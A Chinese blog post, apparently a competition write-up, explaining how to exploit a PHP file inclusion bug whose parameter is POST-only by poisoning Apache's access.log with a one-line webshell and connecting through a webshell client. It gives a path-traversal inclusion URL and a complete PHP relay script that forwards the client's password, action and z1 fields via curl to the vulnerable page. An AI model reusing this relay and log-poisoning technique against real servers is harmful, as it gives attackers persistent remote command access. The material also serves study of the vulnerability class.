最近在忙比赛,碰到了一个文件包含漏洞,通过包含apache的access.log中的一句话,使用CKnife进行连接,但是Get型是十分轻松的,直接 http://xxx/FilesIn.php?filename=../apache/logs/access.log 进行包含利用就行了。但是当遇到这样的文件保护漏洞。

<?php
if(isset($_POST["filename"]))
	$myfile = $_POST["filename"];
else
	echo "Please set filename!";
?>

上面的办法是完全没有效果的,本身菜刀,C刀的配置参数中也不支持POST选项,所以这好好的漏洞岂不是浪费了?通过之前的Cookies注入中的Cookies中转注入思想,写了一个简易的脚本(以C刀为例)。

首先我们先给日志写入一句话。

QQ截图20160428085938.png

然后我们可以在靶机上查看一下是否上传成功。

QQ图片20160428090100.png

ok

创建如下脚本:

<?php
$url="http://192.168.51.103/FilesIn.php"; //中转的脚本路径
//初始化提交参数
$data = array('filename'=>'../Apache/logs/access.log');
if(isset($_POST["CRoot"]))//此处CRoot改为你的密码
{
	$tmp = array('CRoot'=>$_POST["CRoot"]);//此处CRoot改为你的密码
	$data += $tmp;
}
if(isset($_POST["action"]))
{
	$tmp = array('action'=>$_POST["action"]);
	$data += $tmp;
}
if(isset($_POST['z1']))
{
	$tmp = array('z1'=>$_POST["z1"]);
	$data += $tmp;
}
//$data = array('filename'=>'../Apache/logs/access.log','CRoot'=>$postdata,'action'=$_POST["action"],'z1'=$_POST['z1']);
//var_dump($data);
$data = http_build_query($data);
$curl = curl_init();
curl_setopt($curl,CURLOPT_URL,$url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
$rtdata = curl_exec($curl);
curl_close($curl);
echo $rtdata;
?>

打开C刀

Clipboard Image.png

本地搭建PHP服务器进行连接。测试效果

QQ截图20160428091630.png

OK.本次仅仅对PHP类型的文件管理进行了中转处理,其他管理功能可能支持的不大好。

页面下部广告

发表评论

电子邮件地址不会被公开。 必填项已用*标注

*

鲁ICP备17018668号-1